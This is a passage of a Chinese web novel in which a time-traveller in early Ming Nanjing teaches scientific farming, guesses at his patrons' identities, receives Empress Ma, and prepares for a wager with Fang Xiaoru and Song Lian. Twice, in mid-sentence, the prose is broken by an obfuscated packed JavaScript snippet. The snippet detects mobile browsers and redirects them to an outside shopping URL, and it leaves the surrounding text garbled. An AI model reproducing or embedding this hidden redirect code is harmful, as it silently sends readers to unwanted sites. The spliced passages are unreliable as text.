宋濂根本就不是来跟他讲道理的,就是来摁他的头的…… 但是……他也无法反抗…… 不管如何,三人,都是没有想过,会输这件事。 就算是宋濂,也是如此。 他想的只是,如何一会让大家体面些。 那永乐庄的地主,无关紧要。 但是燕王,周王,那是有实权的藩王!这方孝孺千不该万不该,也不应该去得罪这二人! 宋濂咬了咬牙,继续往前走去。 宋慎自然是醒目地走前了一步,搀扶住了自己的爷爷,上了门口已经等候多事的轿子里。 PS:先3k,一会还有3k 第一百四十八章 你就是应天府府尹吧,还想骗小爷我? “朱大人啊,你说你不帮我弄这铁冶,下田干嘛啊?” 是赵集在那跳脚。 他是真的急红了眼。 朱安宁给的东西都太好了,真是太好用了,风箱嘎嘎猛,高炉温度节节高,炼出来的铁,是前所未有的好。 枪管的贯通还在继续,少说还得大半个月。 但是趁着有多余铁料的功夫,赵集也是让工匠们做了不少刀剑。 他们试了一试,那真就是惊为天人。 炉子好,那是真滴好。 所以赵集现在是一有时间,就缠着朱安宁,而朱安宁也是不胜其烦,索性丢了一堆天工开物资料给他。 赵集那是看得如痴如醉,常常想找朱安宁讨论一二。 而朱安宁却滑溜得很,经常找不着人。 今儿总算逮着了他,却看见他正带着一堆孩童在下田。 旁边还站着个朱橚。 当然此时的赵集眼里是完全没有朱橚的,他只是在对朱安宁喊话。 “什么?啊?风大,我听不清!!!” 朱安宁露出两排大牙,笑着回道。 赵集则是无语了……听不到,听不到你回什么话…… 只见他一咬牙,想着不管不顾,他也下田算了,却被一旁的刘畾给劝住。 “赵大人,先生这也是忙正事,还请勿叨扰。” “这下田算什么正事,找个老农就能做了啊!” 赵集恼火地很,但是被刘畾拉住,他也是没办法。 “此言差矣,朱先生是身体力行地教那些孩童们,肥料如何使用,以及水稻的田间管理。” “田间管理?肥料不就是农家肥么,种下去撒几次就好了啊!” 这几个字组合在一起,有点奇怪,但是赵集还算是明白。 作为工部侍郎,种田,他是没种过的,但是看别人种田,这种经验他还是有的。 “赵大人可知,其实肥料里面也蕴含了相当多的门道,比如其实草木灰里有钾素,比如农家肥里富含氮素……” 刘畾在那里侃侃而谈。 赵集却露出了奇怪的目光。 他虽然在这里已经相当多日,但是和刘廌刘畾实在是交流的不多。 毕竟他也忙。 在他的认知里,这刘畾就是刘伯温的孙子,据说饱读诗书,才识过人…… 怎么现在开口闭口就是种田…… “刘公子……这对种田相当有研究啊……”他只能讪讪地回道。 “还是叫我季公子吧,朱先生到现在都还不知道我们的身份,燕王说了,朱先生极讨厌做命官,大家怕他不喜,便都是瞒着自己身份在这庄里干活的……至于种田的事情,都是先生教的,不过这种田最重要的还是实践,实践出真知!”刘畾淡淡地回道。 “但是他现在不也赴任了赞读一职么。” “朱先生好像对东宫的官职,就表现得比较无所谓……这事莫要在陛下面前乱说……” “明白……” “还是说回种田吧,我们自幼学习,孔圣亦说过以农为本,但是真正去践行的人又有几何呢?读书人,总是觉得自己经纬方略,却总是不肯低头看下这一抔黄土,吃食,来之不易啊。啊,这话也是先生说的。” “……” 赵集一时间,竟也是无言以对,因为刘畾的话是对的。 但是赵集还是觉得,朱安宁下田,太浪费时间了啊! “那朱大人下田,与老农下田有何区别?” “先生说过,他教的这叫科学种植,寻常老农只知道如何种,却不知道为何这般种,这是不对的,如果能够总结正确的耕种方法,再推广开来,亩收至少能多三成!” “嗯……科学种植?什么意思?推广……等下,你说多少?”赵集,又急眼了。 若是来永乐庄之前,你跟他说有人有办法让亩产多三成。 他会哈哈一笑,然后把那人擒住,送到朱元璋面前,请求陛下把这妖言惑众的人给砍了。 但是现在,这是朱安宁说的啊。 朱安宁说他有法子,这就是有法子嘛! 自己身后这无与伦比的高炉,还有焦炭,就是他教导的啊! 所以这亩产多三成!!! 赵集颤抖了起来。 “季公子,你可知道你在说什么?” 整个大明的粮食,都是工部负责的。 作为工部二把手,赵集完全知道三成代表什么。 三成代表库房将能有余粮,不必像今年这样,捉襟见肘,大批流民得不到救济,倒在了路边…… 三成代表,能多三成的人吃上一口饭! 而这种如此震撼的事件,就在这寻常的田边,被这样寻常地说了出来。 赵集有一种荒诞的感觉,理智上他是不能相信的。 但是一看远处咧着嘴正在教孩童们的朱安宁,他又不得不信…… 朱安宁,什么时候说过谎…… 一念至此,赵集再也顾不得那么多,他把手中的天工开物的一些笔记杂要,放到了桌面上,也不管自己的衣服会不会弄脏。 直接就往田埂那边冲去,然后一下就跳到了水 田里。 水稻已经长高了许多,现在已经到了低水位的阶段。 但是赵集一脚下去还是陷在了里面。 只能挣扎着往前走。 朱安宁正在和学童们讲着间作的必要性。 “先前学堂里已经和大家说过了,太阳洒下来,叶片就会吸收阳光,那如果种太密,你看这茬,叶片叠叶片,稻子就长得不好,但是如果太疏呢,你们看这茬,长是长好了,但是这么大的位置,就浪费了啊,水和肥料,也浪费了。” “爹娘们种下去都是说差不多就行差不多就行啊……” 有孩童说了话。 “差不多是多少嘛,我们必须要有个大致的标准,做到不浪费水肥,也不浪费这老天赏的阳光!这就叫合理密植!” 赵集在不远处,一边挪动,一边听着朱安宁说得话,他只觉得这些东西,书上也没记载过,倒是听过些老农说过怎么种合适。 没想到朱安宁居然拿出教人,这有点意思啊…… 不对,现在不是关心这事的时候,他用力又挪了两步,那是走得呲牙咧嘴,最后实在是忍不住了,他直接大喊道:“朱大人!朱大人,三成?真的有三成???” 这一声嚎叫,不仅吓到了朱安宁,还吓到了在一边带着孩童的朱橚。 一群人都是莫名其妙地看向了赵集,像看傻子似的表情。 赵集也是被盯得有点郁闷,他也不想这样的,但是脑子一热,自己反应过来的时候已经在田里了啊…… “赵大人,什么三成?……” 朱安宁虽然是烦这老赵天天寻自己说东说西,但是他知道这工部侍郎本质上就是个理工狂,讨厌,也是讨厌不起来。 便叹了口气问道。 “季公子说,朱大人有法子能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378752|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让亩产多三成啊!三成啊!”赵集还在那叫喊着,毫无工部侍郎的样子,倒像是个急眼了的中年人。 一听原来是这事。 朱安宁也是又叹了口气。 这事自己在庄子里说了不知道多少次了。 老农们也好,伍燕伍周他们几个也好,都是知道的。 所以谁说漏给了赵集听并不意外。 只是这赵集,身份还是有点敏感,说不得要把一些话说清楚些…… 一念至此,朱安宁便回头对一群孩童喊道。 “行了行了,今早的课就到这里了,一个个都脏兮兮的,去河边冲洗注意不要下深水啊,那有水鬼!” 朱安宁恐吓道。 “朱爷……咱们河里也有沙僧?” “呃……算了算了,你们去洗吧,我和你们周爷有事。小周,我们和赵大人回院里吧,你哥他们几个好像也在吧。” 说罢,他便也是对朱橚使了个眼色。 两人开始向田埂走去。 而此时的赵集却纹丝不动。 直到朱安宁快走到岸上的时候,赵集才尴尬地开了口。 “我……我鞋子陷里面了……” “……” “……” * 朱安宁叫人回院里,是有原因的。 距离番薯马铃薯的收成是越来越近了。 赵集刚好又是工部大员…… 他已经许久没见到伍文,现在下一步的推广工作,他需要找人商量才行。 另外,他这些日子,蓦然想通了一件事情。 那就是那伍大爷的身份。 朱安宁在这些日子里,就不断在想着明初有什么姓伍的大员…… 被他哼哧哼哧想了好几日,居然真就是被他想起来了。 不知道看什么视频介绍明朝奇葩人士的时候提到过…… 《明史·孝义传》里的一人,官至应天府什么大员……具体这伍洪干了什么,朱安宁记不大清楚,但是他记得,伍洪!好像就是这个名字。 假设这伍洪是应天府府尹,这不就是全都说通了么!!! 对于伍大爷的能量,他是一直好奇的,那根据的他推断,应天府府尹,不就特么的是南京市,市长了么。 怪不得怪不得。 觉得自己想通了的朱安宁,再去看伍燕和伍周,再想想伍文,觉得世界一下就开阔了。 怪不得这群人,总有一种不差钱的感觉。 读书能力又强得一批,怎么看都不是寻常人家。 至于那季廌季畾,季老伯,他就毫无头绪了。 只能说会不会是这伍洪的下属?一起退休了? 朱安宁咧嘴看着院子里的人,只觉得自己的推断真是无懈可击。 ———————— PS:伍洪是历史中的真实人物。 洪武四年(1371年),伍洪考中进士,位列第四名(传胪),并被任命为山东临清县丞。 他历任徽州绩溪主簿、应天府上元县知县(其实就是现南京的一个区)。 丁外艰期间,他服丧期满后,因母亲年老而选择不再出仕,将家产分给诸弟,自己独自隐居并赡养母亲。 洪武十九年(1386年),他的异母弟伍伯让得罪逃跑,官府未能抓住伍伯让,于是抓住了他的母亲。伍洪得知后,哭诉并请求以自己代替母亲。 尽管母亲劝阻,但他坚持代替母亲受罚,并最终被处死。 第一百四十九章 你爹,还挺厉害的嘛 朱安宁觉得自己推断得真对。 应天府府尹,好像也是正三品嘛,正儿八经的高官啊。 不过自己认识的三品,怎么都一副脑子有问题的样子嘛…… 朱安宁若有若无地瞥了眼赵集…… 只见他一边洗鞋子,一边在那向伍周问道:“伍公子,伍公子,那田真的能产这么多?” 朱橚本来就是个喜爱弄花弄草的人,现在赵集凑了过去。 他也是满心欢喜地开始和赵集攀谈了起来。 什么肥料,烧苗,合理密植,水肥比例,中耕之类的词语一个接一个的往外蹦。 赵集最开始是听得一脸懵逼。 但是朱橚的解说水平和学术素养那都是一顶一的,最开始抛概念虽然过于直接,但是很快他就细细地解释了起来。 赵集也从懵逼,变成了惊讶。 什么情况,这是皇子吧,怎么一副老农样……不,这是会写字会总结的老农,就像刘磊刚才说的那般。 赵集一下就懂了朱安宁的用意…… 若是自己手下的官吏,也有这等水平,再推广到地方,那确实是有可能提高亩产的啊…… 但是一想到地方官吏们的做派,赵集就是眼前一黑……这事,还是难办…… 他自己手下的有把握,但是地方地区,你让官吏去学农? 他们只会说赵大人所言甚是,然后……没有然后…… 不过再怎么样,这也是一条思路,免不了,咬牙也要向陛下进谏了…… 在另一边,胡修道和柳文刚从自己位置上站起来。 今天负责搞定这两小子的是朱棣。 柳文收了收自己学习的资料,问道。 “燕爷,今天我们能在院子里么?我们保证不吵……” 两人在院子里学习这段时间,早就习惯了三天两头被赶出去。 只是今天是学了一早上,在朱棣的棍棒和铁拳威逼之下,两人皆是学得相当认真,这带来的后果则是,两人都是头晕脑胀…… 所以并不是很想挪动身子。 胡修道听见柳文的话语也是点了点头。 两人可怜兮兮地看着朱棣。 然后换来的是朱棣的两排大白牙……以及那根棍子……棍子敲到了桌面,声音不算大。 “不行。” 朱棣笑的灿烂,回答简练。 两人便只能颓丧着,准备离场。 挨揍是会痛的,而朱棣是真的会揍人的……两人都不想用自己的肉体去挑战朱棣的道理。 朱安宁非常满意朱棣的醒目。 他走到了朱棣的身旁,一副神秘兮兮的样子。 恰好这时候,朱橚和赵集也一边谈着种田的事情,一边凑了过去。 三人都好奇地看向了朱安宁。 只见他清了清喉咙。 轻声说道:“你两老爹,身份很了不得啊。” 这话他是对朱棣和朱橚说的。 话语刚落下,朱棣和朱橚都是一副见了鬼的样子。 赵集也是愣在了那里。 什么个情况? 朱安宁知道了?猜出来了?! 不过好像也不难……这些天来,蓝玉的事,驿站,加上现在的铁冶,往大里猜,确实是有机会猜中的…… 几人都是沉默不言…… 而看见众人不言语。 朱安宁自信地笑了起来。 他背着手开始踱步。 “哎呀,我就说一个寻常的地主老翁,怎么会认识那么多大员,又怎么有能量呢?这老伍头,玩什么神秘嘛。” 朱安宁说得随意,那手指更是在那里对着远方指指点点。 也没看到三人都僵在了那里。 他继续说了下去。 “啧啧,不早说自己身份,你们看,这番薯和马铃薯都快要种出来了!要收成了,他要是有身份有地位,咱们推广这些东西不就方便了么!!!真是的……” 这话说得一点都没有敬意。 赵集不免就佩服了起来…… 朱大人乃真性情,什么都敢说…… “朱……朱哥,你猜出来了?” 朱棣犹豫了片刻,还是开了口。 说实话,在永乐庄这段时间,是他过得最舒心的日子,没有了宫中的慎言慎行,也不必再想未来要去顺天府就藩的事情,每日都过得充实且愉快。 更不用说朱橚了,他那是直接就把朱安宁当恩师这样看待了,起码在种植这一块,朱安宁是远远领先于时代的…… 两人都是不想用皇子的身份和朱安宁相处的…… 结果现在看来好像被朱安宁猜出来了…… 两人皆是叹了口气。 “朱哥……不管怎样,你都是我们先生……” “四哥说得对……” 两人都在那说着唏嘘的话语。 朱安宁却听得一阵无语,忍不了扇了一下朱棣的后脑勺。 “是你们爹牛而已!你两算什么?有官职还是有功名?能的你们……” 朱安宁动作那是随意得很,就像平时敲他们的头那般随意…… 赵集是看得一阵牙疼。 妈呀,知 道是皇子还敢敲。 不为自己家人着想下的么? 他赶紧扭过头,不想掺和进这种事情里。 “啊?”扇的是朱棣,发出疑问的却是朱橚。 “你啊什么?哎不说你们爹了,不就是伍洪么,三品大员,现在应该是闲赋了吧。” 朱安宁说得理所当然。 “啊?” “你们啊什么?” “……” “……” “哎,反正现在有人脉就行,赵大人?赵大人?你发什么愣啊……” 朱安宁有些不解为什么三人都是以一副吃了苍蝇的样子,他皱眉看向了赵集,想回到正事上。 “朱大人真是……” “别真是了,赵大人,来看看我这田吧,上面的东西要长成了,这比亩产多三成还要重要的多……” 朱安宁拉了一把赵集。 他想说这件事很久了,只是之前一直想不通那老伍头和伍文是什么情况,怎么好像和太子关系很好的样子…… 那现在他【确定了】伍大爷的身份,便也觉得行事可以再大胆些了。 自己有官职,虽然只是九品…… 但是再结合下老伍头和伍文在朝中的关系,再加上赵集现在和自己也算是熟稔。 这番薯土豆,是时候推向更多的土地了。 朱安宁抬头看了看天,咧嘴笑了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378753|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感谢现在是明初,小冰期还不算特别严重。 这夏秋之间的太阳还算猛,让番薯和土豆能够快速成熟……另外一个就是,这番薯土豆应该都是快熟品种…… 虽说未来会退化,但是没关系,只要继续选育到能维持一个基本的产量,那就算大成功! “朱大人……你是说这田?恕我见识浅薄……虽然已经看过几次这些作物……” 赵集的话很明显,就是他想让人给他解释一下。 朱棣和朱橚都是眼神复杂地看着朱安宁,没有言语…… 所以解答的工作,还是得朱安宁自己来。 “这片番薯,亩产十几石没问题。” “这片是土豆,亩产十石左右问题也不大。” “这是玉米,亩产要少些,但是还是比水稻小麦多,重要的是,随便种,它就随便长。” 朱安宁现在心情很好。 因为想通了伍大爷的【身份】……再加上现在自己居然能和朱标太子攀上点关系,虽然是要经过伍文。 这开局已经相当良好了。 只要不直面朱元璋,他就得意且乐意。 现在有了助力,是时候,给自己定下一点小目标了! 利用官方的力量推广农作物!!!推广科学种植!!! 嘿嘿,科学种植嘛,少不了肥料。 那现在肥料的生产,那不得看朱老爷一眼? 妥妥的垄断级国资委注资企业啊! 赚钱! 他朱安宁要赚钱! 朱安宁现在想法很多,野心很大。 但是赵集就不一样了,他觉得自己心脏快要跳出来了。 和方才的三成亩产一样,他的理智告诉他,这不可能!!!这什么高产作物!!!不可能,绝对不可能!!! 如果刚才朱安宁报的亩收是真实的话,他还关心什么亩产多几成啊!直接大规模种这些就好啦! 他一个箭步,就想冲上去摇晃朱安宁,并质问真假。 但是朱安宁已经早有准备,对于大家的摇晃起手动作,他已经非常熟稔,往边上一步,完美躲过了赵集的手…… “赵大人,你应该想问是真是假……勿要如此激动,是真是假很简单,这些作物已经看快要成熟了,这田就是试验田,届时亩产多少,一清二楚,绝无虚假。” 躲过赵集的朱安宁赶紧开口。 这么些天来,他是相信赵集的为人的,所以才会主动告知。 未来推广作物,赵集作为工部侍郎,应该是要出力的。 只见赵集那是晃朱安宁不成,脸憋得通红。 过了半晌,他才开口。 “朱大人,若是真的有如此神物,你立的可是千秋万代之功绩啊!!!” 他长吐一口气,居然郑重地行了个大礼。 这可把朱安宁给吓了一跳,哪敢受这一拜。 慌忙跳到了朱棣和朱橚身边,几人挤作一团,相当滑稽。 而恰是此时,门外传来了敲门的声音。 朱安宁眉头一皱,心里想的是。 方孝孺如约来了? 结果还未等他们几人过去开门。 那门居然是自己打开了。 原来是站在门外的胡修道和柳文。 两人跟门童似的,一边笑着一边迎客。 第一百五十章 这大妈给的玉如意,看起来就值钱! “朱爷,来客啦!”胡修道嚎了一嗓子,少年独有的嗓音,不太好听,倒是让马皇后和朱怀静,有一种回到了宫里听小太监宣见的感觉…… 而里面的人,还没完全看清来的是谁。 朱安宁那是脸色已经收了收。 心里盘算的是,方孝孺来了是吧,这么些天,自己已经准备好了! 他奶奶的小小一个小方,居然敢对自己的学堂指手画脚还大放厥词,今儿自己就替未来的朱棣,先教训他一顿。 只见朱安宁是摩拳擦掌。 朱棣和朱橚也是脸色微变,他们是知道赌约时间的,大概就是今日了。 几人都面色凝重地盯着门口。 然后看见的是一妇人带着一少女踏进了院子里。 朱安宁自然是有些纳闷,这两谁啊……大妈样子看着挺和蔼的,至于她旁边的小姑娘,标致是标致了,但是这不是明显没长开的样子么。 至于朱安宁以外的几人,那真就是眼珠子都差点瞪出来了。 什么个情况。 朱棣和朱橚下意识就想冲上去请安。 赵集更是有了想跪下的冲动。 这可是马皇后啊。 说起来历史上,马皇后去世,那百官那是哭得比老朱还伤心的啊…… 结果众人还未来得及做出动作,马皇后却先开口了。 “这位就是朱先生吧,未曾知会就上门,叨扰了。” 马皇后说得大大方方,干脆利落。 朱棣反应还是快些,他一个箭步就走了上去,唤了声:“母亲。” 朱橚也紧随其后。 而赵集反应虽然慢,但是也规规矩矩行了个礼:“见过……呃,见过伍夫人。” 几人的回应,自然是提示了对方的身份。 朱安宁又不是傻子,他也是听出了对方的来历。 “原来是伍夫人。”他也连忙上前,学着赵集的样子行了个礼。 他纳闷的是,要不要这么大礼啊。 你赵集老小子是三品,这伍夫人老公也是三品,还是退休的,至于么…… 腹议归腹议,天知道这三品大员的老婆会不会是什么诰命夫人之类的,他可是小小九品,行大礼应该……应该…… “朱先生快快起身,万万不可行此大礼。” 只见马皇后乐呵呵地笑了两声,做了个虚扶的动作,然后开始端详起了朱安宁。 朱元璋和朱标可没少在宫里念叨这人。 就是他的四儿子五儿子朱棣朱橚每次回宫也是匆匆忙忙,嘴里念叨着什么朱先生晚上的授课要开始了,走快些之类的话。 更不要说她听闻了朱安宁给出的各种奇策和舆图,最后还给了朱标药,救了她的好孙子一命。 这,马皇后,不好奇是不可能的。 现在来看,居然是个年轻人,约莫和自己大儿子相仿? 真是出乎意料。 他一直觉得,能献策的人,至少也得老成些吧。 结果这朱安宁,是真的年轻啊…… “许久没见自己儿子了,有些挂念,这般突然来访,还请朱先生见谅啊。” 端详了片刻,马皇后也是微微弯了下腰,说道。 朱安宁只觉得这伍夫人真是得体,不愧是三品大员的夫人。 人客突然到访,确实有些出乎他的意料,也就是这时他才想起要待客……一群人都站在这里好些时候了。 他连忙做了个请的姿势,然后下意识地扇了一把朱棣的后背:“煮水冲茶去……” 然后才想起,这是人家儿子…… 一时之间,也是有些尴尬。 马皇后是还能绷得住表情,但是她身边的小姑娘却已经是皱起了眉头。 此时不知道哪里冒出来的胡修道和柳文,却是突然喊了一句。 “先生我来,先生我来!” 这两人一直在旁边凑热闹,刚才几人都是惊讶于马皇后和朱怀静的突然出现,却也是没顾上这两人。 “你两小子怎么还在这里!”是朱棣大喊了出声,然后是开始左看右看,开始找自己那趁手的棍子圣剑。 结果找了半天,愣是没找到。 “先生,我们在此处念书,那自然是在这里啊!”胡修道说得理所当然。 柳文也是马上接话:“不说了,我们烧水煮茶去了!” 两人颠着乐,也不管朱安宁有没答应,就跑到了树下,开始点火。 这让朱安宁是一脸无语。 不过好歹他还是反应了过来,把马皇后和朱怀静引到了树下另外一边坐下。 朱橚也是拉了拉朱棣,示意他不要找棍子了…… 几人是陆续落座。 “朱先生,我这两不成器的儿子,没有给你添麻烦吧。” 刚坐下的马皇后,看了自己两个因为天天耕田而黑了好几度的儿子一眼,才回头对朱安宁说道。 “哪有哪有,他们可听话了,干活又勤快……”朱安宁也不知道说些什么好,只能夸他们能干活了…… “呵呵,能帮忙就行。”马皇后是知道朱棣朱橚在这里干嘛的,自然也是没有介意朱安宁的说法。 倒是 一边的朱怀静,那是戳了戳朱橚,小声问道:“五哥,你们真的在耕地啊!” “小妹……是的……” “那四哥,你有挑粪么?” “有的……” “五哥呢?” “有……” “好像很好玩啊!” “……” 三兄妹的对话,虽然小声。 但是众人都是听得清清楚楚。 那让朱安宁是一下就手足无措起来。 这小姑娘应该是伍燕和伍周的妹妹了吧……几个意思,上来就说自己让她两个哥哥挑粪…… 幸好马皇后及时出了手。 她一个眼神瞪下去,再补了一句:“咳,怀静,你父亲可是不知道你出来的了。” 这句话效果拔群,杀伤力爆表。 朱怀静那是立马收起了嬉笑的表情,正襟危坐起来。 只是眼神还是四处乱飘,明显是对朱安宁的院子感兴趣。 很快,她就把目光放到了那房车上。 马皇后也没管朱怀静有没四处乱瞟,只要她能安稳坐好,已经是极好的了…… “对了,朱先生,这次过来我也是要送些谢礼给您的,我们家老爷和老大,最近有些事要忙,本来应该是老大送来最合适的,那孩子礼数不周到,就让我代替他送吧。” 马皇后转身接过了朱 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“啊,这样啊,那能有效就好……”朱安宁虽然在回话,但是目光却始终不能从那玉如意上挪开。 他想的是。 这东西能卖多少钱…… 好像真的很贵的样子…… 卖了!买田!然后种番薯土豆玉米?再来点田种辣椒! 这好像可以哦! 只是他没有注意到的是,那玉如意底下,雕刻着的是龙凤图案。 这也是马皇后的小心思。 她只觉得朱安宁是救了自己孙子一命的,他没有权力像朱元璋那样给丹书铁券,但是她可以换个方式,比如,给象征着皇室的玉如意,就是个退而求其次的法子。 她哪能想到,朱安宁还没到手就想着要卖…… 这玉如意的价值,朱安宁是没看出来,其他人是看得清清楚楚。 特别是赵集。 他真就是倒吸了一口气。 从话语中,他是听出来了,这朱大人好像救了皇孙一命啊…… 所以这玉如意,这意义可不得了啊! 多少是有点羡慕的…… “那,我就收下咯。” 朱安宁微微一笑,不再客气,既然是自己的药救了这夫人的孙子,那这礼物自己拿的心安理得哇! 而此时,胡修道和柳文,也沏好了茶。 “茶来咯茶来咯,诸位请用茶!” 朱棣看着跑来跑去的两人,是一阵恼火,但是自己母后在这里,他却也是不好发作。 正当众人准备喝茶时。 又传来一阵敲门声。 朱安宁朱棣和朱橚的表情,瞬间就变了。 这次应该是方孝孺了,三人一同想到。 便也一起站了起来。 胡修道依旧是最醒目的那个,只见他一溜小跑,到了门边上。 恭敬地打开了门。 得以让众人看清来客。 “果然是方孝孺和宋慎……不过这老头谁啊!”朱安宁看着门口那三人,在嘟囔着。 完全没注意到。 院里的人,和院外的人,正在大眼瞪小眼。 第一百五十一章 树枝有助于背诵 院里的人,想的是……这不是宋濂宋师么? 朱棣和朱橚那是张大了嘴巴,心里恼火地想着,是不是输不起,把自己老师都给搬来了…… 至于门外的宋濂三人,更是吃了苍蝇般难受。 为什么马皇后会在这里!!!输不起?找了马皇后来圆场? 马皇后就算了,这工部的赵集怎么也在……外面好像有铁冶……对了,街头巷尾都传说永乐庄是太子的地……好像真的有点道理啊。 而马皇后旁边的朱怀静,自然是被他们选择性忽略。 方孝孺看到马皇后,便想到了对方是不是想用强权来压自己。 脑内自己随便补点剧情,那是越想越气,年轻人火力壮,表情要多难看有多难看。 宋慎一看自己好朋友的表情,那是知道,完了,这驴犟起来,谁拉得住嘛。 两拨人最后是你看看我,我看看你。 只有朱安宁觉得莫名其妙。 这是干嘛…… 两军对垒? 不就是打个赌么,怎么两边都是一副吃了屎的表情…… 门内门外就这么沉默了半晌,还是马皇后反应快些,他一把掐了掐自己的四儿子。 朱棣那是心领神会。 直接就冲到了场中,直接对宋濂拱手行了个大礼。 “弟子伍燕见过宋师!” 这个礼,是行得毫无问题的。 因为宋濂,的确是朱棣和朱橚的老师。 宋濂一身清正,但是始终也是在官场爬摸滚打过许多年的,虽然不知道燕王为何说自己是伍燕……但是应该是有他的道理的。 而且对方执的是弟子礼,自己也没法说些什么。 朱安宁一看这阵仗,好家伙。 这老头是伍燕的老师? 那好像也没什么吧,自己也是伍燕的先生,那换言之,自己和这老头平起平坐? 啧。 他砸吧了下嘴巴,向旁边的朱橚问道。 “小周,这老头是谁……” 结果啊字还未开口。 朱橚也跑了出去…… 和朱棣站到了一起,在那行弟子礼。 “伍周见过宋师。” 朱安宁的问题,问了个空。 多少有点尴尬。 方才,朱怀静就站在了离朱橚不远的地方。 朱安宁的问题她自然是听见的。 她看着朱安宁略微尴尬挠头的衰相,是一时没有忍住,噗嗤一声轻笑了起来。 “那是宋师,宋濂宋太史。”女孩虽然在笑,但还是解答朱安宁的问题。 宋濂? 朱怀静说得虽然不算大声。 但是朱安宁是听得一清二楚。 这下就不是倒吸一口凉气了,而是猛吸了好几口。 我靠方孝孺这鸟人,居然把宋濂都抬出来了?! 不过一看到宋慎那愁眉苦脸的衰相,他便也是释然了……对了这孙子还在这里,爷爷出现好像也不奇怪。 朱怀静的话语,不仅是朱安宁的听到,马皇后也听得一清二楚。 她不动声色地捏了捏自己的幺女。 朱怀静也知道这场合有点奇怪,便也是连忙住了嘴。 朱安宁还想问多两句,却发现女孩已经不理自己。 便也是只能无奈地看回门口那三人。 宋濂看着眼前的朱棣和朱橚,依旧还是不明所以,但是并不妨碍他摆摆手示意二人起来。 “呵呵,没想到二位也在这里……”宋濂不动声色地走到了场中,扶起了朱棣和朱橚,然后立马转头对马皇后的方向行了个礼。 “见过伍夫人……”宋濂可不是什么职场小白,他相当上道。 “见过宋师。”马皇后也笑着回了个礼,顺便又掐了一把朱怀静。 朱怀静也只能苦着个脸跟着行礼。 “见过宋师……” 至于赵集,那就是直接拱手唤了声宋大人好。 虽然他一头雾水,但是并不妨碍他吃瓜…… 只要是开了口,后续的事情就好办了。 宋濂看见这么多人在这里,是万万不敢让方孝孺叫嚣的…… 只见他对众人拱了拱手,笑着说道:“前些日子,希直这边好似和诸位立了个约,这事我也是听慎儿说的,恰好我又回了京,便说一同过来看看,年轻人就是闹腾啊,哈哈。” 宋濂是说得轻松愉快,这明显就是在提前缓和气氛。 朱安宁也是看出了门道,他虽然不是什么高级官场人士,但是也是996精英,这种言外之意怎么会听不懂。 他连忙一步上前,说道。 “见过宋濂宋大人。” “哦?想必这位便是朱赞读朱大人了吧。” “诶,是的是的,承蒙太子赏识,能在东宫办些事而已。” “朱大人过谦了,能得到太子赏识,那便是朱大人一定有过人之处。” 宋濂也是拱了拱手,两人在那哈哈地打着官腔。 这一套下来,气氛真就是缓和了不少。 事情正向好的方向发展。 但是愣头青是不会阅读空气的。 只见方孝孺也 是向前一步。 宋慎拉都拉不住那种。 只见他向马皇后,朱棣和朱橚行了个礼,然后回头就对朱安宁说道:“朱大人,希直前来履约了。” 这话说得生硬无比。 连赵集都不得不感叹。 自己的头,确实没有这方孝孺的铁啊。 看来翰林院的那些传说是真的……这杠精,是杠到了极致的那种。 朱安宁和宋濂的笑容,就这般僵在了那里。 连宋濂都有点恼火起来。 自己这弟子是眼瞎么。 没看到那么大一个马皇后在那里么??? 就那么想赢? 宋濂咬了咬牙,正想开口说两句。 他是看得出,这朱安宁好似真的不是那么简单。 宋慎是和他说过的,这朱安宁的赞读之位,是太子亲口下令的,所以九品还是几品,这无关紧要,紧要的是太子的态度啊! 现在来到这里,还看到了马皇后。 在朝中任职多年,横跨两个朝代的宋大人,那是警惕不已。 结果方孝孺是根本没给宋濂机会。 他继续开口说了下去。 “所以朱大人,你的学生呢?是否是连最基本的《学而》都没能学会?” 这波跳脸。 简直堪称教科书级别。 特别是配上方孝孺那认真的脸,宋慎差点一口血喷出来。 这话,是直接让朱安宁和宋濂都僵在了那里。 好家伙,你老师来圆场,你就选择冲锋大跳加嘲讽是吧。 不过朱安宁倒也是坦然,之前宋濂想缓和气氛,自己自然要给面子给这老人。 毕竟宋濂在历史上风评还是不错的。 但是你方孝孺谁啊! nnd,嘲讽是吧。 朱安宁挑了挑眉,卸去了刚才的谦卑表情。 他的脸,是给宋濂宋老先生的。 而不是给这方孝儒的。 既然对方都跳大了,他自然也是没那么客气了。 他对宋濂拱了拱手,然后对远处喊了声。 “胡修道,柳文!!!你们还要在院外蹲多久?!” 声音很快传到了门外。 两个脑袋探了出来。 “嗯?我们可以进去???”胡修道指了指自己和柳文,问道。 他两已经习惯了人多就要被赶出来,所以当来新客人的时候,两人是相当默契地蹲到了门外的墙角那里,数蚂蚁。 结果现在朱安宁唤他们进去,他们反倒是有点不习惯了。 “啧,快进来快进来。”朱安宁则是不耐烦地做了个进来的姿势,示意他们快点。 “诶,好好。” 两人再也没了顾忌,朱爷都发话了,那就是可以了。 于是,两少年笑嘻嘻地来到了场中。 场面一下又诡异了起来。 以马皇后为首的,朱怀静赵集,组成的是吃瓜集团。 他们开始饶有兴致地看这场闹剧。 而参战的双方呢,都相当有自信……这也是诡异的点之一…… 宋濂一看方孝孺都跳脸了,便也知道,这事是没办法中断的了,便退到了一边,开始想方孝孺赢了之后该如何收尾。 宋慎自然也是如此。 